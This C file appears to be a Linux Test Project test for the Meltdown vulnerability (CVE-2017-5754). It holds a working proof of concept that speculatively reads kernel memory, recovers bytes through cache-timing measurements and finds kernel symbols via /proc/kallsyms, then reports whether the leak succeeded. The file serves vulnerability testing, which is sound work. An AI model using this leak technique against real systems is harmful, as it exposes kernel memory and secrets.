1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3 * Copyright (c) 2018 Pavel Boldin <pboldin@cloudlinux.com>
4 */
5
6 #include "config.h"
7 #include "tst_test.h"
8
9 #if defined(__x86_64__) || defined(__i386__)
10
11 #include <stdio.h>
12 #include <string.h>
13 #include <signal.h>
14 #include <ucontext.h>
15 #include <unistd.h>
16 #include <fcntl.h>
17 #include <ctype.h>
18 #include <sys/utsname.h>
19
20 #include <emmintrin.h>
21
22 #include "libtsc.h"
23
24 #define TARGET_OFFSET 9
25 #define TARGET_SIZE (1 << TARGET_OFFSET)
26 #define BITS_BY_READ 2
27
28 static char target_array[BITS_BY_READ * TARGET_SIZE];
29
30 static void
clflush_target(void)31 clflush_target(void)
32 {
33 int i;
34
35 for (i = 0; i < BITS_BY_READ; i++)
36 _mm_clflush(&target_array[i * TARGET_SIZE]);
37 }
38
39 extern char failshere[];
40 extern char stopspeculate[];
41
42 static void __attribute__((noinline))
speculate(unsigned long addr,char bit)43 speculate(unsigned long addr, char bit)
44 {
45 register char mybit asm ("cl") = bit;
46 #ifdef __x86_64__
47 asm volatile (
48 "1:\n\t"
49
50 ".rept 300\n\t"
51 "add $0x141, %%rax\n\t"
52 ".endr\n"
53
54 "failshere:\n\t"
55 "movb (%[addr]), %%al\n\t"
56 "ror %[bit], %%rax\n\t"
57 "and $1, %%rax\n\t"
58 "shl $9, %%rax\n\t"
59 "jz 1b\n\t"
60
61 "movq (%[target], %%rax, 1), %%rbx\n"
62
63 "stopspeculate: \n\t"
64 "nop\n\t"
65 :
66 : [target] "r" (target_array),
67 [addr] "r" (addr),
68 [bit] "r" (mybit)
69 : "rax", "rbx"
70 );
71 #else /* defined(__x86_64__) */
72 asm volatile (
73 "1:\n\t"
74
75 ".rept 300\n\t"
76 "add $0x141, %%eax\n\t"
77 ".endr\n"
78
79 "failshere:\n\t"
80 "movb (%[addr]), %%al\n\t"
81 "ror %[bit], %%eax\n\t"
82 "and $1, %%eax\n\t"
83 "shl $9, %%eax\n\t"
84 "jz 1b\n\t"
85
86 "movl (%[target], %%eax, 1), %%ebx\n"
87
88 "stopspeculate: \n\t"
89 "nop\n\t"
90 :
91 : [target] "r" (target_array),
92 [addr] "r" (addr),
93 [bit] "r" (mybit)
94 : "rax", "ebx"
95 );
96 #endif
97 }
98
99 #ifdef __i386__
100 # define REG_RIP REG_EIP
101 #endif
102
103 static void
sigsegv(int sig LTP_ATTRIBUTE_UNUSED,siginfo_t * siginfo LTP_ATTRIBUTE_UNUSED,void * context LTP_ATTRIBUTE_UNUSED)104 sigsegv(int sig LTP_ATTRIBUTE_UNUSED,
105 siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED,
106 void *context LTP_ATTRIBUTE_UNUSED)
107 {
108 ucontext_t *ucontext = context;
109 unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP];
110 if (*prip != (unsigned long)failshere) {
111 tst_brk(TBROK,
112 "Segmentation fault at unexpected location %lx",
113 *prip);
114 abort();
115 }
116 *prip = (unsigned long)stopspeculate;
117 return;
118 }
119
120 static int
set_signal(void)121 set_signal(void)
122 {
123 struct sigaction act = {
124 .sa_sigaction = sigsegv,
125 .sa_flags = SA_SIGINFO,
126 };
127
128 return sigaction(SIGSEGV, &act, NULL);
129 }
130
131 static inline int
get_access_time(volatile char * addr)132 get_access_time(volatile char *addr)
133 {
134 unsigned long long time1, time2;
135 volatile int j LTP_ATTRIBUTE_UNUSED;
136
137 rdtscll(time1);
138
139 j = *addr;
140
141 _mm_mfence();
142 rdtscll(time2);
143
144 return time2 - time1;
145 }
146
147 static int cache_hit_threshold;
148 static int hist[BITS_BY_READ];
149
150 static void
check(void)151 check(void)
152 {
153 int i, time;
154 volatile char *addr;
155
156 for (i = 0; i < BITS_BY_READ; i++) {
157 addr = &target_array[i * TARGET_SIZE];
158
159 time = get_access_time(addr);
160
161 if (time <= cache_hit_threshold)
162 hist[i]++;
163 }
164 }
165
166 #define CYCLES 10000
167 static int
readbit(int fd,unsigned long addr,char bit)168 readbit(int fd, unsigned long addr, char bit)
169 {
170 int i, ret;
171 static char buf[256];
172
173 memset(hist, 0, sizeof(hist));
174
175 for (i = 0; i < CYCLES; i++) {
176 ret = pread(fd, buf, sizeof(buf), 0);
177 if (ret < 0)
178 tst_res(TBROK | TERRNO, "can't read fd");
179
180 clflush_target();
181
182 speculate(addr, bit);
183 check();
184 }
185
186 #ifdef DEBUG
187 for (i = 0; i < BITS_BY_READ; i++)
188 tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]);
189 #endif
190
191 if (hist[1] > CYCLES / 10)
192 return 1;
193 return 0;
194 }
195
196 static int
readbyte(int fd,unsigned long addr)197 readbyte(int fd, unsigned long addr)
198 {
199 int bit, res = 0;
200
201 for (bit = 0; bit < 8; bit ++ )
202 res |= (readbit(fd, addr, bit) << bit);
203
204 return res;
205 }
206
207
208 static int
mysqrt(long val)209 mysqrt(long val)
210 {
211 int root = val / 2, prevroot = 0, i = 0;
212
213 while (prevroot != root && i++ < 100) {
214 prevroot = root;
215 root = (val / root + root) / 2;
216 }
217
218 return root;
219 }
220
221 #define ESTIMATE_CYCLES 1000000
222 static void
set_cache_hit_threshold(void)223 set_cache_hit_threshold(void)
224 {
225 long cached, uncached, i;
226
227 for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
228 cached += get_access_time(target_array);
229
230 for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
231 cached += get_access_time(target_array);
232
233 for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
234 _mm_clflush(target_array);
235 uncached += get_access_time(target_array);
236 }
237
238 cached /= ESTIMATE_CYCLES;
239 uncached /= ESTIMATE_CYCLES;
240
241 cache_hit_threshold = mysqrt(cached * uncached);
242
243 tst_res(TINFO,
244 "access time: cached = %ld, uncached = %ld, threshold = %d",
245 cached, uncached, cache_hit_threshold);
246 }
247
248 static unsigned long
find_symbol_in_file(const char * filename,const char * symname)249 find_symbol_in_file(const char *filename, const char *symname)
250 {
251 unsigned long addr;
252 char type;
253 int ret, read;
254 char fmt[strlen(symname) + 64];
255
256 tst_res(TINFO, "Looking for %s in %s", symname, filename);
257 if (access(filename, F_OK) == -1) {
258 tst_res(TINFO, "%s not available", filename);
259 return 0;
260 }
261
262 sprintf(fmt, "%%lx %%c %s%%c", symname);
263
264 ret = FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
265 if (ret)
266 return 0;
267
268 return addr;
269 }
270
271 static unsigned long
find_kernel_symbol(const char * name)272 find_kernel_symbol(const char *name)
273 {
274 char systemmap[256];
275 struct utsname utsname;
276 unsigned long addr;
277
278 addr = find_symbol_in_file("/proc/kallsyms", name);
279 if (addr)
280 return addr;
281
282 if (uname(&utsname) < 0)
283 tst_brk(TBROK | TERRNO, "uname");
284 sprintf(systemmap, "/boot/System.map-%s", utsname.release);
285 addr = find_symbol_in_file(systemmap, name);
286 return addr;
287 }
288
289 static unsigned long saved_cmdline_addr;
290 static int spec_fd;
291
setup(void)292 static void setup(void)
293 {
294 set_cache_hit_threshold();
295
296 saved_cmdline_addr = find_kernel_symbol("saved_command_line");
297 tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
298
299 if (!saved_cmdline_addr)
300 tst_brk(TCONF, "saved_command_line not found");
301
302 spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
303
304 memset(target_array, 1, sizeof(target_array));
305
306 if (set_signal() < 0)
307 tst_res(TBROK | TERRNO, "set_signal");
308 }
309
310 #define READ_SIZE 32
311
run(void)312 static void run(void)
313 {
314 unsigned int i, score = 0, ret;
315 unsigned long addr;
316 unsigned long size;
317 char read[READ_SIZE] = { 0 };
318 char expected[READ_SIZE] = { 0 };
319 int expected_len;
320
321 expected_len = pread(spec_fd, expected, sizeof(expected), 0);
322 if (expected_len < 0)
323 tst_res(TBROK | TERRNO, "can't read test fd");
324
325 /* read address of saved_cmdline_addr */
326 addr = saved_cmdline_addr;
327 size = sizeof(addr);
328 for (i = 0; i < size; i++) {
329 ret = readbyte(spec_fd, addr);
330
331 read[i] = ret;
332 tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
333 isprint(ret) ? ret : ' ');
334
335 addr++;
336 }
337
338 /* read value pointed to by saved_cmdline_addr */
339 memcpy(&addr, read, sizeof(addr));
340 memset(read, 0, sizeof(read));
341 tst_res(TINFO, "save_command_line: 0x%lx", addr);
342 size = expected_len;
343
344 if (!addr)
345 goto done;
346
347 for (i = 0; i < size; i++) {
348 ret = readbyte(spec_fd, addr);
349
350 read[i] = ret;
351 tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
352 " match: %d", addr, ret, isprint(ret) ? ret : ' ',
353 expected[i], read[i] == expected[i]);
354
355 addr++;
356 }
357
358 for (i = 0; i < size; i++)
359 if (expected[i] == read[i])
360 score++;
361
362 done:
363 if (score > size / 2)
364 tst_res(TFAIL, "I was able to read your kernel memory!!!");
365 else
366 tst_res(TPASS, "I was not able to read your kernel memory");
367 tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
368 }
369
cleanup(void)370 static void cleanup(void)
371 {
372 SAFE_CLOSE(spec_fd);
373 }
374
375 static struct tst_test test = {
376 .needs_root = 1,
377 .setup = setup,
378 .test_all = run,
379 .cleanup = cleanup,
380 .min_kver = "2.6.32",
381 .tags = (const struct tst_tag[]) {
382 {"CVE", "2017-5754"},
383 {}
384 }
385 };
386
387 #else /* #if defined(__x86_64__) || defined(__i386__) */
388
389 TST_TEST_TCONF("not x86_64 or i386");
390
391 #endif /* #else #if defined(__x86_64__) || defined(__i386__) */
392